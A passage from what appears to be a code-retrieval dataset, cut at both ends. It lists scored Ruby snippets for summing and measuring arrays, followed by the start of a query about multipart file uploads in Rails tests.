arr.length > 0 then\n arr.each do |index|\n\tresult += index\n end\n end\n return result\nend", "title": "" }, { "docid": "ff9b91aa84416ab4521571c891a402bc", "score": "0.65796787", "text": "def length_of_array(array)\n array.length\nend", "title": "" }, { "docid": "135bf313d84e4641be33994e1d88fc18", "score": "0.65753704", "text": "def total_count\n @_total_count || @_original_array.length\n end", "title": "" }, { "docid": "eca96300a09be47fbe69e4f3d6e35582", "score": "0.65690976", "text": "def array_sum(arr)\n if arr.length == 0\n return 0\n end\n arr.reduce(:+)\nend", "title": "" }, { "docid": "bb7609155bfae0245c07fcffb325a090", "score": "0.65669054", "text": "def length_of_array(array)\n return array.length\nend", "title": "" }, { "docid": "2831b479ef636b0712945ba25d17c6d3", "score": "0.65550256", "text": "def size\n \[email protected]\n end", "title": "" }, { "docid": "57cda5c5617e2996a00bbbe8b4ff8bbf", "score": "0.6543308", "text": "def sum_of_sums(array)\n total = 0\n\n 1.upto(array.size) do |num|\n total += array.slice(0, num).reduce(:+)\n end\n total\nend", "title": "" }, { "docid": "29dc1e645629fe36a0d8440c15adc532", "score": "0.65331084", "text": "def size\n @array.length\n end", "title": "" }, { "docid": "86ac6f6faa1f3c8a9af1df0388d05ab7", "score": "0.6524995", "text": "def sum(in_array)\n return 0 if in_array.length == 0\n return in_array.reduce(:+)\nend", "title": "" }, { "docid": "a3b775cfdd6a022f09acf0795adb8154", "score": "0.6519198", "text": "def size\n return @array.size\n end", "title": "" }, { "docid": "959757fa984b0f222f21e3335dbe7e47", "score": "0.65047616", "text": "def sum_of_sums(arr)\n sum = 0\n arr.each_with_index { |elem, i| sum += (arr.size - i) * elem }\n sum\nend", "title": "" }, { "docid": "96b80adf51ee20df3a4c11b74c8b149b", "score": "0.6484613", "text": "def total array\n\tsum = 0\n\tarray.each do |x|\n\t\tsum = sum + x\n\tend\n\treturn sum\nend", "title": "" }, { "docid": "a9c74328a9539513d092733e1f86ab84", "score": "0.64844644", "text": "def length\n array.first.size\n end", "title": "" }, { "docid": "e3d4d07b5f156736db9f9daccda21d69", "score": "0.6480137", "text": "def total(array)\n if array.size !=0\n total_num = 0\n for n in 0...array.size\n value = array[n]\n total_num += value\n end\n return total_num\n end\nend", "title": "" }, { "docid": "65470add481e3bc8e0d0e5e466bb6fff", "score": "0.6479292", "text": "def total array\n array.reduce(0, :+)\nend", "title": "" }, { "docid": "2115b4c3e1aa181ff7822fa8d6183c8a", "score": "0.6468216", "text": "def simpleArraySum(ar)\n count = 0\n ar.each {|x| count += x}\n count\nend", "title": "" }, { "docid": "b8cb6b36c8b1d8c93b991863518e683f", "score": "0.64669025", "text": "def total(array)\n\tif array.size != 0\n\t\ttotal_num = 0\n\t\tfor n in 0...array.size\n\t\t\tvalue = array[n]\n\t\t\ttotal_num += value\n\t\tend\n\t\treturn total_num\n\tend\nend", "title": "" }, { "docid": "122e503307f39eb90ea3465550ee3931", "score": "0.64616275", "text": "def sum_of_sums(arr)\n total = 0\n (0..(arr.size - 1)).each { |i| total += arr[0..i].reduce(:+) }\n total\nend", "title": "" }, { "docid": "da12b97145ba4fed40daa2c61b16a478", "score": "0.644731", "text": "def using_size(array)\narray.size\nend", "title": "" }, { "docid": "e3c9c0aa777f7d7cd82478fa2d807038", "score": "0.6424881", "text": "def total(arr)\n\tsum\t= 0\n\tarr.each{|i| sum+= i}\n\treturn sum\nend", "title": "" }, { "docid": "276f62f9954a96310551f345831b928d", "score": "0.6422904", "text": "def array_size(a)\n sprintf \"%d x %d\\n\\n\", a.length, a[0].length\nend", "title": "" }, { "docid": "dbbb622525063854badc8596054dbdd7", "score": "0.64211166", "text": "def sum_of_sums(array)\r\nend", "title": "" }, { "docid": "28f4a17c4ea28d0ac0b3ba016eb8e5a2", "score": "0.6416489", "text": "def length\n len = 0\n @locations.each do |x|\n if x.sequence\n len += x.sequence.size\n else\n len += (x.to - x.from + 1)\n end\n end\n len\n end", "title": "" }, { "docid": "c3fe0743af31788114dc1ee9dfc46cf9", "score": "0.6399285", "text": "def size!\n @elements.values.map(&:size!).inject(0) {|total,size| total + size}\n end", "title": "" }, { "docid": "14701362cc52436aa2ab60c386e4c0d6", "score": "0.6394129", "text": "def total (array)\n\tsum=0\n\tarray.each do |n| sum += n\n\tend\n\treturn sum\nend", "title": "" }, { "docid": "93f99fb0cdfabdc3453b8438b83ba81e", "score": "0.63836586", "text": "def ARRAYSIZE\n items = unwrap_array evaluation_stack.pop\n evaluation_stack.push items.length\n end", "title": "" }, { "docid": "94e565526b2e5c5848c1281eaae3a343", "score": "0.6382704", "text": "def count\n @rarray.length\n end", "title": "" }, { "docid": "e7dad8a5173aee2eb42b36f2ba68d128", "score": "0.6375725", "text": "def sum_array(array)\n return array.sum\n\n # sum_total_of_array = 0\n # for number in array\n # sum_total_of_array += number\n # end\n # return sum_total_of_array\nend", "title": "" }, { "docid": "d9ae2a671bfa7230f5a4108215e74776", "score": "0.63742965", "text": "def simpleArraySum(ar)\n ar.sum\nend", "title": "" }, { "docid": "795bcdd789dd3f48d69ceb6d7da7b640", "score": "0.6371233", "text": "def sum arr\n if !arr.empty?\n soma = 0\n arr.each do |elt| ; soma += elt ; end\n return soma\n end\n return 0 \nend", "title": "" }, { "docid": "932552208a1a3d53c9d769dfcfee5b5c", "score": "0.63546574", "text": "def total_lines(arr)\n return arr.length\nend", "title": "" }, { "docid": "9f6fb0be9523e37bca1bb460b3bc213b", "score": "0.63443214", "text": "def total_size\n return @total_size if @total_size\n if @structure.instance_of? Array\n return 0 if @structure.empty?\n @total_size = strip(:size).flatten.inject { |sum, i| sum + i }\n else\n @total_size = size\n end\n end", "title": "" }, { "docid": "8a9fc99a28de7e75bc181817e15cbbcf", "score": "0.6343404", "text": "def sum_of_sums(arr)\n total_sum = 0\n idx = 0\n elements = 1\n while elements - 1 < arr.size\n total_sum += arr.slice(idx, elements).reduce(:+)\n elements += 1\n end\n total_sum\nend", "title": "" }, { "docid": "5cffea48585f68e8c1b303727dd32c52", "score": "0.6343089", "text": "def size\n values.flatten.size\n end", "title": "" }, { "docid": "77681c9ae3a185c85154fc5535d9825d", "score": "0.6337494", "text": "def total(array)\n\tsum = 0\n\tarray.each { |x| sum += x }\t\n\tsum\nend", "title": "" }, { "docid": "b988ba98d38dc6ed861c857775344078", "score": "0.63374865", "text": "def count\n underlying_array.length\n end", "title": "" }, { "docid": "0268097e6548fdd3b3eac3f5c3823405", "score": "0.63301045", "text": "def sum arr\n \n size = arr.size #get the size of the array\n sum = 0\n if size==0\n return 0 \n end\n while size > 0 do #loop untild the size is zero\n size = size - 1 \n sum = arr[size] + sum \n end\n return sum \nend", "title": "" }, { "docid": "3423adfa01662670a09f38c35983baee", "score": "0.6329544", "text": "def simpleArraySum(ar)\n ar.sum\nend", "title": "" }, { "docid": "140687ab7a74acae8df0174c5fad2506", "score": "0.6322549", "text": "def length_finder(input_array)\n arr = []\n for i in 0...input_array.length\n arr << input_array[i].length\n end\n arr\nend", "title": "" }, { "docid": "401a6120036fcbab00f0bfad875de31d", "score": "0.6320964", "text": "def length\n @blocks.inject(0) {| sum , item | sum + item.length}\n end", "title": "" }, { "docid": "7c64224964b9c8e74d8bdf3fc8d557ca", "score": "0.6317093", "text": "def length\n length = 1 #@primary\n length += @extlang.length if @extlang\n length += 1 if @script\n length += 1 if @region\n length += @variants.length if @variants\n @extensions.each { |_,e| length += e.length+1 } if @extensions # length += @extenstions.to_a.flatten.length if @extensions\n length += @privateuse.length+1 if @privateuse\n length\n end", "title": "" }, { "docid": "961a70b10f09a62e92d28b8fd2dd7a8b", "score": "0.6312963", "text": "def size\n targets.inject(0) {|sum,t| sum + t.size}\n end", "title": "" }, { "docid": "013a9514c1025049ef1e4ae9a85c8178", "score": "0.630964", "text": "def total(array)\n \n len = array.length\n i = 0\n sum = 0\n \n while i < len do\n sum = sum + array[i]\n i = i + 1\n end\n return sum\nend", "title": "" }, { "docid": "aab4ddac7356cb5c9a55733534c534d0", "score": "0.6308134", "text": "def total(array)\n\ttotal = 0\n\tarray.each do |n|\n\t\ttotal += n \n\tend\n\treturn total\nend", "title": "" }, { "docid": "ed09e7d652cd59a5445c47553d4ebaea", "score": "0.63034123", "text": "def total(array)\n a = 0\n for i in 0...array.length\n a = a + array[i]\n end\n return a\nend", "title": "" }, { "docid": "2e129a74329ebeafaa922dd45fd72c10", "score": "0.63027924", "text": "def total(array)\n\tsum = 0\n\tarray.each do |i|\n\t\tsum += i\n\tend\n\treturn sum\nend", "title": "" }, { "docid": "8b5757d7da538c0b49cf591ceac5c77b", "score": "0.62994665", "text": "def length\n array_list.length\n end", "title": "" }, { "docid": "2b5005fd93e8940475b7dc7dca2b7300", "score": "0.6298394", "text": "def size\n @rules.inject(0) { |acc, (lhs, rhs)| acc + rhs.size }\n end", "title": "" }, { "docid": "98dfb4373d6cd5cea1f4ac955238136b", "score": "0.629192", "text": "def size\n if @size.nil?\n @size = @mset.inject(0) do |total, pair|\n value = pair[1]\n if value.is_a? Array\n total + value.size\n else\n total + 1\n end\n end\n end\n\n @size\n end", "title": "" }, { "docid": "4773f7cfb49c1a1c61f9f7bb92be0fc4", "score": "0.62896746", "text": "def get_length(array)\n return array.inject (0) { |length, el| length + 1 }\nend", "title": "" }, { "docid": "f9259d5e74db214f9d652f571a78c070", "score": "0.6287031", "text": "def count\n values.inject(0){|m, v| m + v.length}\n end", "title": "" }, { "docid": "48ffb00a33a830dc0c5a8b0b04103c2e", "score": "0.6277806", "text": "def length\n @blocks.inject(@entry.length) {| sum , item | sum + item.length}\n end", "title": "" }, { "docid": "5082a0c6deb7233bee8d23ec41cb344e", "score": "0.627574", "text": "def total(array)\n\tarray.inject(:+)\nend", "title": "" }, { "docid": "37254452932e7f454546beb8980f92d8", "score": "0.6273525", "text": "def calculate_dimensions array\n\t\t\t_count(array).take_while { |e| e >= 0 }\n\t\tend", "title": "" }, { "docid": "b4239cfbd759bc6e227c4b3922717c03", "score": "0.6272288", "text": "def total_of_array(array)\n array.reduce(:+)\nend", "title": "" }, { "docid": "28542da104b92b24b995f48f778d05b8", "score": "0.62720996", "text": "def sum_array(array)\n array.sum\nend", "title": "" }, { "docid": "c3337183db271e14711632a6634662ff", "score": "0.6270872", "text": "def array_sum(arr)\n return 0 if arr.empty?\n arr.reduce(:+)\nend", "title": "" }, { "docid": "c3337183db271e14711632a6634662ff", "score": "0.6270872", "text": "def array_sum(arr)\n return 0 if arr.empty?\n arr.reduce(:+)\nend", "title": "" }, { "docid": "406947e8fd2d6f970028319a8fa9d01c", "score": "0.62666047", "text": "def total(array)\n\tsum = 0\n\tarray.each { |a| sum += a }\n\treturn sum\nend", "title": "" }, { "docid": "a7288d6b37e886e52652d15fe5b090fa", "score": "0.62619436", "text": "def sum arr\n rtn = 0\n arr.each { |n| rtn += n }\n return rtn\nend", "title": "" }, { "docid": "aca489e8d38694c2b295c243e2ce82da", "score": "0.62571645", "text": "def %(len) # {{{\n inject([]) do |array, x|\n # array << [] if [*array.last].nitems % len == 0\n array << [] if [*array.last].count{|x| !x.nil?} % len == 0\n array.last << x\n array\n end\n end", "title": "" }, { "docid": "d9cc6f9515fde55d3b75533ce0d4e95c", "score": "0.6254672", "text": "def total(arr)\n\t output = 0\n\t arr.each do |x|\n\t output += x\n\t end\n\t output\nend", "title": "" }, { "docid": "d9cc6f9515fde55d3b75533ce0d4e95c", "score": "0.6254672", "text": "def total(arr)\n\t output = 0\n\t arr.each do |x|\n\t output += x\n\t end\n\t output\nend", "title": "" }, { "docid": "b8e37a9e2ffb54fe10c0d322ba634a0f", "score": "0.6252616", "text": "def array_total(array)\t\n\tputs \"This list has #{array.length} elements in it\"\nend", "title": "" }, { "docid": "fdb9d29ae34b778275e4b5fe9f4d73c7", "score": "0.6249954", "text": "def multi_dimensional_sum(array)\n array.flatten.sum\nend", "title": "" }, { "docid": "fdb9d29ae34b778275e4b5fe9f4d73c7", "score": "0.6249954", "text": "def multi_dimensional_sum(array)\n array.flatten.sum\nend", "title": "" }, { "docid": "0012147827103f183b379dec1a61a3f8", "score": "0.6249727", "text": "def lengths array\n\tarray.map{|word| word.length}\nend", "title": "" }, { "docid": "e69ccc10a04e0f3e1a8d662b63441ff1", "score": "0.6246679", "text": "def sum arr\n return arr.sum() # 합\nend", "title": "" }, { "docid": "9a65583e18ec8e9824ea1ff20b6f1d3c", "score": "0.6246485", "text": "def length(array)\n length = 0\n while !(array[length].nil?)\n length += 1\n end\n return length\n # raise NotImplementedError\nend", "title": "" }, { "docid": "d46041ee1e2a382035030dac612fcacf", "score": "0.6245945", "text": "def size\n values.flatten.size\n end", "title": "" }, { "docid": "d46041ee1e2a382035030dac612fcacf", "score": "0.6245945", "text": "def size\n values.flatten.size\n end", "title": "" }, { "docid": "d46041ee1e2a382035030dac612fcacf", "score": "0.6245945", "text": "def size\n values.flatten.size\n end", "title": "" }, { "docid": "5e505aa2daac2e0354e6bb11ecccef5d", "score": "0.6244219", "text": "def sum_of_sums(array)\n size = array.size \n index = 0\n sum = 0\n \n while index < array.size\n sum += (array[index] * size)\n index += 1\n size -= 1\n end\n \nsum\n \nend", "title": "" }, { "docid": "1d57fd7ba1b810904629f245cf41b355", "score": "0.6243716", "text": "def total(array)\n\ttotal = 0\n\tarray.each do |x|\n\t\ttotal += x\n\tend\n\treturn total\nend", "title": "" }, { "docid": "7b9bb3eed7159a11c592257e84948a38", "score": "0.62428606", "text": "def length\n @elements.length\n #@elements.size \n end", "title": "" } ]
c0c408c67af1288422319d7907d3adac
Save a model instance to the store
[ { "docid": "0893f01a7f7354879b418b29ff66809a", "score": "0.82799995", "text": "def save(model_instance)\n store(object_key(model_instance.id), model_instance.attributes)\n end", "title": "" } ]
[ { "docid": "9254a8d9113493ab25b6d0ee39206e58", "score": "0.79268044", "text": "def store(model)\n new(model).create\n end", "title": "" }, { "docid": "03134624da643aad4be3c2c56e935059", "score": "0.7786815", "text": "def save_model(model)\n model.save\n end", "title": "" }, { "docid": "8b43ec32de6af9461f0527493104e8a2", "score": "0.7655986", "text": "def store(model)\n model\n end", "title": "" }, { "docid": "e554fa81bae2d08e99de71f658ccd85d", "score": "0.7643987", "text": "def save\n _save\n end", "title": "" }, { "docid": "42bfaa009fd2e0947b22fce9ac2fd047", "score": "0.75998586", "text": "def save\n Mara.instrument('model.save', model: self) do\n next false unless valid?\n\n Mara::Batch.save_model(to_item)\n end\n end", "title": "" }, { "docid": "32f4f542d85ae4e301a94493ec29eb3e", "score": "0.75456506", "text": "def save\n persist!\n end", "title": "" }, { "docid": "19ce87b87284c84a214cf82ed9b83a07", "score": "0.75183135", "text": "def save\n @model ||= register_model\n sync\n model.save\n model.update_index\n end", "title": "" }, { "docid": "3c863a52894b822d333750fa7e17c957", "score": "0.7460829", "text": "def save\n run_callbacks :save do\n persist_models\n end\n end", "title": "" }, { "docid": "9c6dc3db1a744cc497564865ba33a71f", "score": "0.7389298", "text": "def save\n self.class.save(self)\n end", "title": "" }, { "docid": "f27a15735ba40d0dd402789072cdaeba", "score": "0.7301923", "text": "def save\n record.save\n end", "title": "" }, { "docid": "4bef560cbf1df56cf46a2491a1d56484", "score": "0.7297216", "text": "def save\n _save(true)\n end", "title": "" }, { "docid": "4ed3723380247b67328df291f52034f6", "score": "0.72709095", "text": "def save\n ensure_no_extra_fields if self.respond_to?(:ensure_no_extra_fields, true)\n\n if persisted?\n data_model.update(self)\n else\n @id = data_model.store(self)\n end\n end", "title": "" }, { "docid": "01425911aaa2b8300b4d3467a01cab58", "score": "0.7266811", "text": "def save\n persist!\n end", "title": "" }, { "docid": "78a464c1b4a4eb7cead065ea83d6f779", "score": "0.72534984", "text": "def save\n # .....\n end", "title": "" }, { "docid": "b247c3239258cad8c98619088e7f8519", "score": "0.7238041", "text": "def save\n perform_in_transaction { persist } if valid?\n\n self\n end", "title": "" }, { "docid": "a3bde47495dda22107fbe893e66ebd03", "score": "0.72119635", "text": "def save\r\n #TODO\r\n end", "title": "" }, { "docid": "58baa4f8683b12e7fbf142e8da620a70", "score": "0.7183561", "text": "def save\n _create_record\n end", "title": "" }, { "docid": "716adf370a023ea5ffc79f58194340ce", "score": "0.71663886", "text": "def save!\n _save(:save!)\n end", "title": "" }, { "docid": "9b5d3bdc57f258fba032102680bd4ba2", "score": "0.7133996", "text": "def save\n raise NotImplementedError\n end", "title": "" }, { "docid": "6a39e9eadc50c4e22285eb2d6ec02737", "score": "0.7114721", "text": "def save\n create\n end", "title": "" }, { "docid": "5a0efd92bb4eb0859c14626575374063", "score": "0.7111121", "text": "def save\n\n end", "title": "" }, { "docid": "61b120a009a9c0a033e0370e2c881305", "score": "0.7109227", "text": "def save\n end", "title": "" }, { "docid": "61b120a009a9c0a033e0370e2c881305", "score": "0.7109227", "text": "def save\n end", "title": "" }, { "docid": "ede6923121bf410a0c61ce2f35621d61", "score": "0.7103752", "text": "def save\n \n end", "title": "" }, { "docid": "46f6cdbcb5ff50316648ca7784309ef8", "score": "0.7077849", "text": "def save\n end", "title": "" }, { "docid": "9f8c321786f7d4e2230522b7eeffe60a", "score": "0.704278", "text": "def store(model, &block)\n valid_model?(model)\n\n log_store(model)\n\n storage[model.name] = model\n\n yield if block_given?\n\n model\n end", "title": "" }, { "docid": "965c5bc16551fbfe4eba08bc01527fc8", "score": "0.7040155", "text": "def save\n super save\n end", "title": "" }, { "docid": "965c5bc16551fbfe4eba08bc01527fc8", "score": "0.7040155", "text": "def save\n super save\n end", "title": "" }, { "docid": "d4608cf9f45dafcaf6f5ef874cdd2a4e", "score": "0.70374286", "text": "def save!\r\n end", "title": "" }, { "docid": "f4ca7c331218635f65035f93a3c9e5a1", "score": "0.70367944", "text": "def save\n end", "title": "" }, { "docid": "f4ca7c331218635f65035f93a3c9e5a1", "score": "0.70367944", "text": "def save\n end", "title": "" }, { "docid": "f4ca7c331218635f65035f93a3c9e5a1", "score": "0.70367944", "text": "def save\n end", "title": "" }, { "docid": "f4ca7c331218635f65035f93a3c9e5a1", "score": "0.70367944", "text": "def save\n end", "title": "" }, { "docid": "f4ca7c331218635f65035f93a3c9e5a1", "score": "0.70367944", "text": "def save\n end", "title": "" }, { "docid": "f4ca7c331218635f65035f93a3c9e5a1", "score": "0.70367944", "text": "def save\n end", "title": "" }, { "docid": "f4ca7c331218635f65035f93a3c9e5a1", "score": "0.70367944", "text": "def save\n end", "title": "" }, { "docid": "f4ca7c331218635f65035f93a3c9e5a1", "score": "0.70367944", "text": "def save\n end", "title": "" }, { "docid": "c9584bff3624f8ea714cb0237a667edf", "score": "0.701304", "text": "def save!; end", "title": "" }, { "docid": "8e6cc5968d2f24565100cd83810f0b48", "score": "0.70122343", "text": "def save(obj)\n persist(obj, false)\n end", "title": "" }, { "docid": "a6d2170d36bdb30da5214f14ad09b4dd", "score": "0.70036906", "text": "def save!\n save || raise(ArgumentError, 'failed to save!')\n end", "title": "" }, { "docid": "0486cd7b361d07278e7a41a3cda0cb07", "score": "0.6968914", "text": "def save\n put_object\n true\n end", "title": "" }, { "docid": "ac0c665cdaadad549b7e104fc5d37e5c", "score": "0.6954189", "text": "def save(model)\n add(model) { model.save(validate: false) }\n end", "title": "" }, { "docid": "87c34e7837f168804e069d20327b88d7", "score": "0.69493026", "text": "def save\n end", "title": "" }, { "docid": "87c34e7837f168804e069d20327b88d7", "score": "0.69493026", "text": "def save\n end", "title": "" }, { "docid": "87c34e7837f168804e069d20327b88d7", "score": "0.69493026", "text": "def save\n end", "title": "" }, { "docid": "87c34e7837f168804e069d20327b88d7", "score": "0.69493026", "text": "def save\n end", "title": "" }, { "docid": "87c34e7837f168804e069d20327b88d7", "score": "0.69493026", "text": "def save\n end", "title": "" }, { "docid": "7bec57e8f17b522907c2c24ebac2a8f6", "score": "0.6946639", "text": "def save ; end", "title": "" }, { "docid": "7bec57e8f17b522907c2c24ebac2a8f6", "score": "0.6946639", "text": "def save ; end", "title": "" }, { "docid": "3ec7b519fa86d14a2aaaa7d7d66f9640", "score": "0.6938257", "text": "def save\n raise NotImplementedError.new\n end", "title": "" }, { "docid": "4eebe8bd77dbbdce40c87e2e7453a233", "score": "0.69344157", "text": "def save\n self\n end", "title": "" }, { "docid": "e8af8e216821b936b27fe4e3e2d106ff", "score": "0.6925537", "text": "def save; end", "title": "" }, { "docid": "e8af8e216821b936b27fe4e3e2d106ff", "score": "0.6925537", "text": "def save; end", "title": "" }, { "docid": "e8af8e216821b936b27fe4e3e2d106ff", "score": "0.6925537", "text": "def save; end", "title": "" }, { "docid": "e8af8e216821b936b27fe4e3e2d106ff", "score": "0.6925537", "text": "def save; end", "title": "" }, { "docid": "e8af8e216821b936b27fe4e3e2d106ff", "score": "0.6925537", "text": "def save; end", "title": "" }, { "docid": "e8af8e216821b936b27fe4e3e2d106ff", "score": "0.6925537", "text": "def save; end", "title": "" }, { "docid": "e8af8e216821b936b27fe4e3e2d106ff", "score": "0.6925537", "text": "def save; end", "title": "" }, { "docid": "e8af8e216821b936b27fe4e3e2d106ff", "score": "0.6925537", "text": "def save; end", "title": "" }, { "docid": "e8af8e216821b936b27fe4e3e2d106ff", "score": "0.6925537", "text": "def save; end", "title": "" }, { "docid": "e8af8e216821b936b27fe4e3e2d106ff", "score": "0.6925537", "text": "def save; end", "title": "" }, { "docid": "e8af8e216821b936b27fe4e3e2d106ff", "score": "0.6925537", "text": "def save; end", "title": "" }, { "docid": "e8af8e216821b936b27fe4e3e2d106ff", "score": "0.6925537", "text": "def save; end", "title": "" }, { "docid": "e8af8e216821b936b27fe4e3e2d106ff", "score": "0.6925537", "text": "def save; end", "title": "" }, { "docid": "8ac71778b426cc50d41e03784035acf2", "score": "0.6914071", "text": "def save!\n end", "title": "" }, { "docid": "8ac71778b426cc50d41e03784035acf2", "score": "0.6914071", "text": "def save!\n end", "title": "" }, { "docid": "8ac71778b426cc50d41e03784035acf2", "score": "0.6913325", "text": "def save!\n end", "title": "" }, { "docid": "8a7dfb9f9bed2925c6982b0329020328", "score": "0.6906542", "text": "def save\n robject.data = attributes\n robject.store\n end", "title": "" }, { "docid": "df8d4ea36133ecd7e8c13e0642052f7b", "score": "0.6898734", "text": "def save\n self.id = klass.generate_identifier unless persisted? || id\n save_graph = RDF::Graph.new\n fill_save_graph save_graph\n Db.insert_data( save_graph , :graph => klass.object_graph )\n persist!\n end", "title": "" }, { "docid": "e239d108f4bbd8231fa5540bfc98ffae", "score": "0.68984073", "text": "def save!\n save(nil)\n end", "title": "" }, { "docid": "8f5f8659ee6eff746313638ad02cdc20", "score": "0.68966055", "text": "def save \n # .....\n end", "title": "" }, { "docid": "0c8d15639cca50721d40a362267f07ef", "score": "0.6878128", "text": "def save\n valid? && create && persist\n end", "title": "" }, { "docid": "a18a9349be29796f9ca191f5b440d5c4", "score": "0.6877455", "text": "def save\n if persisted?\n update\n else \n persist\n end\n end", "title": "" }, { "docid": "daa31091a3faf873e7cbcaeb2ca16bef", "score": "0.6871429", "text": "def save!\n subject.send(\"#{field}=\", store)\n subject.save!\n end", "title": "" }, { "docid": "a19d0fb4155b396426fc0ab5bf8cab49", "score": "0.6863109", "text": "def save\r\n WimduCli.storage.store(self.id, self.as_json)\r\n end", "title": "" }, { "docid": "7cd0a4fe04babfd3e87aff127c85f6bb", "score": "0.68599564", "text": "def save\n create_or_update\n end", "title": "" }, { "docid": "7cd0a4fe04babfd3e87aff127c85f6bb", "score": "0.68599564", "text": "def save\n create_or_update\n end", "title": "" }, { "docid": "7cd0a4fe04babfd3e87aff127c85f6bb", "score": "0.68599564", "text": "def save\n create_or_update\n end", "title": "" }, { "docid": "7cd0a4fe04babfd3e87aff127c85f6bb", "score": "0.68599564", "text": "def save\n create_or_update\n end", "title": "" }, { "docid": "7cd0a4fe04babfd3e87aff127c85f6bb", "score": "0.68599564", "text": "def save\n create_or_update\n end", "title": "" }, { "docid": "7cd0a4fe04babfd3e87aff127c85f6bb", "score": "0.6858565", "text": "def save\n create_or_update\n end", "title": "" }, { "docid": "5174e5eb5e43cef897e832799c2ea6a8", "score": "0.6850053", "text": "def save\n create_or_update\n end", "title": "" }, { "docid": "459498cb335c99675d54a3639227c1f6", "score": "0.6844187", "text": "def save\n self.save!\n end", "title": "" }, { "docid": "792023394504d78801a972feb5dc7a1a", "score": "0.68417823", "text": "def save!\n self\n end", "title": "" }, { "docid": "506427d2d56839f78e51362ddd64ac54", "score": "0.68359816", "text": "def save!\n raise \"#{self.inspect} failed to save\" unless self.save\n end", "title": "" }, { "docid": "619f3da98cde8e178f2cb0973798acce", "score": "0.6805948", "text": "def save\n save_data self.to_hash\n self\n end", "title": "" }, { "docid": "98bd5c4455dee9b19fd84353103039d6", "score": "0.67950094", "text": "def save\n ensure_id\n @client.update(sobject_type, attrs)\n end", "title": "" }, { "docid": "0eb4b74c71f5fa2bb21a93d890d8f8aa", "score": "0.678873", "text": "def save(*args)\n really_save(*args)\n end", "title": "" }, { "docid": "aca52100a0ae677212c2946c9a6dcc3b", "score": "0.678244", "text": "def save!\n _save(false)\n end", "title": "" }, { "docid": "e9331c0ea0968fcad0f168774fd85c0d", "score": "0.677445", "text": "def save\n write(@attributes)\n end", "title": "" }, { "docid": "1006f91880bb64ad45d72e27ef61231c", "score": "0.6761965", "text": "def save\n self.new_record ? self.create : self.update\n end", "title": "" }, { "docid": "abe5f7da478b3d61f6cc212bede8d6a6", "score": "0.67618275", "text": "def store( d )\n\n update_attribute( :model_data, d )\n \n end", "title": "" }, { "docid": "5fa4cb3de7f42042264f7bbb4a2b6c2b", "score": "0.6755948", "text": "def save!\n Copyable::Saver.save!(self)\n end", "title": "" }, { "docid": "7d5cb7810a5811ecacf2008332b281b2", "score": "0.675361", "text": "def save\n attributes.fetch(:save)\n end", "title": "" }, { "docid": "7d5cb7810a5811ecacf2008332b281b2", "score": "0.675361", "text": "def save\n attributes.fetch(:save)\n end", "title": "" }, { "docid": "7d5cb7810a5811ecacf2008332b281b2", "score": "0.675361", "text": "def save\n attributes.fetch(:save)\n end", "title": "" }, { "docid": "ad3ec7ffe738a5425ac89993dcf186d7", "score": "0.67519957", "text": "def save\n self.class.database.set(self)\n end", "title": "" }, { "docid": "52381638b694c9f81aeaa7e3a78cd082", "score": "0.6741629", "text": "def save\n if persisted?\n update\n else\n create\n end\n true\n end", "title": "" }, { "docid": "fa7614d925d9eb87859a6613aca902c2", "score": "0.67318827", "text": "def save\n valid? && put\n end", "title": "" }, { "docid": "46135b00cd0e907fbebaff558fa89e5a", "score": "0.6726426", "text": "def save\n self.persisted? ? update : create\n end", "title": "" } ]
28d975f3a7d6892593c23737f8841ca0
posting multipart data not supported in tests? doesn't seem to work
[ { "docid": "44af98de046970d7d5bfe8d2f6665e95", "score": "0.0", "text": "def test_should_create_picture\n #old_count = Picture.count\n\n #login_as(:john)\n # post :create, :picture => { :data => fixture_file_upload('files/picture_2.png', 'image/png'), :multipart => true }, :multipart => true\n\n #assert_equal old_count+1, Picture.count \n #assert_redirected_to picture_path(assigns(:picture))\n\n assert true\n end", "title": "" } ]
[ { "docid": "6e407c5ed7c53c392b87275bd465749a", "score": "0.7145431", "text": "def multipart_post!\n request = Net::HTTP::Post.new(uri)\n request.body = build_request_body\n\n response = get_response(request)\n GunBroker::Response.new(response)\n end", "title": "" }, { "docid": "87f53e53ff6d55746c14118b2f505276", "score": "0.6948155", "text": "def multipart?(data); end", "title": "" }, { "docid": "913df0f3aa4745aa42f53af7886a5405", "score": "0.6936438", "text": "def multipart?; end", "title": "" }, { "docid": "913df0f3aa4745aa42f53af7886a5405", "score": "0.6936438", "text": "def multipart?; end", "title": "" }, { "docid": "913df0f3aa4745aa42f53af7886a5405", "score": "0.6936438", "text": "def multipart?; end", "title": "" }, { "docid": "913df0f3aa4745aa42f53af7886a5405", "score": "0.6936438", "text": "def multipart?; end", "title": "" }, { "docid": "913df0f3aa4745aa42f53af7886a5405", "score": "0.6936438", "text": "def multipart?; end", "title": "" }, { "docid": "913df0f3aa4745aa42f53af7886a5405", "score": "0.6936438", "text": "def multipart?; end", "title": "" }, { "docid": "62efc240dbadb436e91b88f9ecd669b2", "score": "0.6900966", "text": "def test_issue_attachements\n log_user('jsmith', 'jsmith')\n \n file_data_1 = \"some text....\"\n file_name_1 = \"sometext.txt\"\n file_data_2 = \"more text...\"\n file_name_2 = \"moretext.txt\"\n \n boundary = \"rubyqMY6QN9bp6e4kS21H4y0zxcvoor\"\n headers = { \"Content-Type\" => \"multipart/form-data; boundary=#{boundary}\" }\n\n data = [\n \"--\" + boundary,\n \"Content-Disposition: form-data; name=\\\"attachments[]\\\"; filename=\\\"#{file_name_1}\\\"\",\n \"Content-Type: text/plain\",\n \"\", file_data_1, \n \"--\" + boundary,\n \"Content-Disposition: form-data; name=\\\"attachments[]\\\"; filename=\\\"#{file_name_2}\\\"\",\n \"Content-Type: text/plain\",\n \"\", file_data_2, \n \"--\" + boundary, \"\"\n ].join(\"\\x0D\\x0A\")\n \n post \"issues/add_attachment/1\", data, headers\n assert_redirected_to \"issues/show/1\"\n \n # make sure attachment was saved\n attachment = Issue.find(1).attachments.find_by_filename(file_name_1)\n assert_kind_of Attachment, attachment\n assert_equal Issue.find(1), attachment.container\n # verify the size of the attachment stored in db\n assert_equal file_data_1.length, attachment.filesize\n # verify that the attachment was written to disk\n assert File.exist?(attachment.diskfile)\n \n # remove the attachments\n Issue.find(1).attachments.each(&:destroy)\n assert_equal 0, Issue.find(1).attachments.length\n end", "title": "" }, { "docid": "ee0205e34b515da29c07fd4fa5954613", "score": "0.68841445", "text": "def force_multipart; end", "title": "" }, { "docid": "b1c61666675d5d5b22cd49193b3e7f37", "score": "0.6879134", "text": "def file_upload(filename)\n type = 'text/plain'\n file_path = Rails.root.join('spec/fixtures/', filename)\n 